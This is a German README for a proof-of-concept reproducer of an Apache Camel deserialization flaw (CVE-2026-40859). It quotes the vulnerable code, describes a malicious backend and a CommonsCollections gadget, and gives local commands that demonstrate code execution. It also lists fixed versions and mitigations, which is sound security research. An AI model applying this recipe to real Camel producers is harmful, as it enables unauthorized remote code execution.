
Reproducer für CVE-2026-40859 — Apache Camel camel-netty-http / camel-vertx-http producer-seitige unsichere Deserialisierung von HTTP-Antwortkörpern (RCE)
Dieses Projekt demonstriert eine Java-Deserialisierungssicherheitslücke in den Apache-Camel-Komponenten camel-netty-http und camel-vertx-http, die als CVE-2026-40859 verfolgt wird. Wenn ein Producer-Endpunkt mit transferException=true (oder auf Komponentenebene allowJavaSerializedObject=true) konfiguriert ist, wird der Body einer Backend-HTTP-Antwort mit einem Fehlerstatus und Content-Type: application/x-java-serialized-object mit einem rohen java.io.ObjectInputStream und ohne ObjectInputFilter deserialisiert. Ein Angreifer, der das Backend kontrolliert, mit dem der Camel-Producer kommuniziert – ein kompromittierter Dienst oder ein Man-in-the-Middle auf einer unverschlüsselten HTTP-Verbindung – kann ein präpariertes serialisiertes Objekt zurückgeben und, falls sich eine Gadget-Chain im Klassenpfad befindet, eine (Codeausführung aus der Ferne) auf dem Camel-Host erreichen.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40859.html
| Eigenschaft | Wert |
|---|---|
| Komponenten | camel-netty-http, camel-vertx-http (Producer-Seite) |
| Betroffene Klasse | org.apache.camel.component.netty.http.NettyHttpHelper#deserializeJavaObjectFromStream (und VertxHttpHelper#deserializeJavaObjectFromStream) |
| CWE | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Auswirkung | Remote Code Execution (RCE) |
| Voraussetzung | transferException=true (oder allowJavaSerializedObject=true) + throwExceptionOnFailure=true (Standard) + vom Angreifer kontrolliertes Backend |
| Betroffene Versionen | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.20.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.20.0 |
| JIRA | CAMEL-23324 |
| Melder | Venkatraman Kumar (Securin) |
In der Standardkonfiguration nicht ausnutzbar —
transferExceptionist standardmäßigfalse. Der PoC aktiviert es, wie es eine Anwendung tun würde, die eine Remote-Exception-Weitergabe wünscht.
Bei einer Nicht-2xx-Antwort erstellt der netty-http-Producer (mit throwExceptionOnFailure=true, der Standardeinstellung) eine Exception aus der Antwort via populateNettyHttpOperationFailedException. Wenn transferException aktiviert ist und die Antwort den Content-Type für serialisierte Objekte trägt, deserialisiert er den Body:
// NettyHttpHelper.populateNettyHttpOperationFailedException(...) - affected version
if (transferException) {
String contentType = response.headers().get(NettyHttpConstants.CONTENT_TYPE);
if (NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT.equals(contentType)) { // application/x-java-serialized-object
InputStream is = exchange.getContext().getTypeConverter().convertTo(InputStream.class, response);
if (is != null) {
Object body = deserializeJavaObjectFromStream(is); // <-- sink
if (body instanceof Exception) {
return (Exception) body;
}
}
}
}
// NettyHttpHelper.deserializeJavaObjectFromStream(InputStream) - affected version
ObjectInputStream ois = new ObjectInputStream(is); // NO ObjectInputFilter
answer = ois.readObject(); // gadget fires here
Das Gadget wird innerhalb von readObject() ausgeführt, vor der instanceof Exception-Prüfung – das Payload muss also nicht einmal eine Exception sein. camel-vertx-http hat die identische Senke in VertxHttpHelper.deserializeJavaObjectFromStream.
from("direct:call")
.to("netty-http://backend-host:PORT/path?transferException=true");
// throwExceptionOnFailure defaults to true
Jeder Producer-Aufruf, dessen Backend mit 5xx + application/x-java-serialized-object antwortet, löst die Senke aus.
Das Opfer ist der Camel-Producer (er führt die Deserialisierung durch). Der Angreifer kontrolliert das von ihm aufgerufene Backend. In diesem eigenständigen PoC laufen beide Rollen im selben JVM/Container: Ein eingebetteter Raw-Socket-HTTP-Server (MaliciousBackend) spielt das vom Angreifer kontrollierte Backend, und die Camel-Route (VictimRoute) ist das Opfer.
CVE-2026-40859/
├── pom.xml # camel-netty-http 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (with --add-opens, needed only to build the gadget)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victim: netty-http producer, transferException=true
│ ├── MaliciousBackend.java # attacker backend: 500 + serialized-object body on :9999
│ ├── Gadget.java # CommonsCollections6 gadget, fires during readObject()
│ └── ExploitController.java # /exploit/attack drives the producer call
└── resources/
└── application.properties
In einem realen Angriff werden die serialisierten Bytes offline vom Angreifer erstellt (z.B. mit ysoserial); nur das Opfer benötigt die Gadget-Kette im Klassenpfad. Dieser PoC erstellt das Gadget aus Bequemlichkeit prozessintern, weshalb die JVM mit
--add-opens java.base/java.util=ALL-UNNAMEDgestartet wird – dieses Flag ist ein Detail der Gadget-Konstruktion und nicht mit der Sicherheitslücke verbunden.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> producer threw ...NettyHttpOperationFailedException (expected)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-40859 ls -la /tmp/pwned
docker compose down
Jeder Producer von camel-netty-http / camel-vertx-http, der mit transferException=true (oder allowJavaSerializedObject=true) konfiguriert ist und mit einem Backend kommuniziert, das ein Angreifer kontrollieren oder abfangen kann:
http://) Producer-Verbindung ersetzt die Antwort.transferException=true (oder Komponenten-allowJavaSerializedObject=true).throwExceptionOnFailure=true (Standard).5xx + application/x-java-serialized-object zurückgibt.commons-collections:3.2.1).Aktualisieren Sie auf 4.14.8 / 4.18.3 / 4.20.0. Der Fix schränkt beide Helfer mit einer standardmäßigen ObjectInputFilter-Allow-Liste ein (java.**;javax.**;org.apache.camel.**;!*), anpassbar über die neue Endpunkt-Option deserializationFilter oder die JVM-weite Systemeigenschaft -Djdk.serialFilter.
Bis zur Aktualisierung:
transferException=true / allowJavaSerializedObject=true auf Produzern, die mit nicht vertrauenswürdigen oder netzwerkerreichbaren Backends kommunizieren.https) für Producer-Verbindungen, sodass Antworten nicht während der Übertragung ausgetauscht werden können.-Djdk.serialFilter=java.**;org.apache.camel.**;!*.Dieser Reproducer wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Sicherheitslücke. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.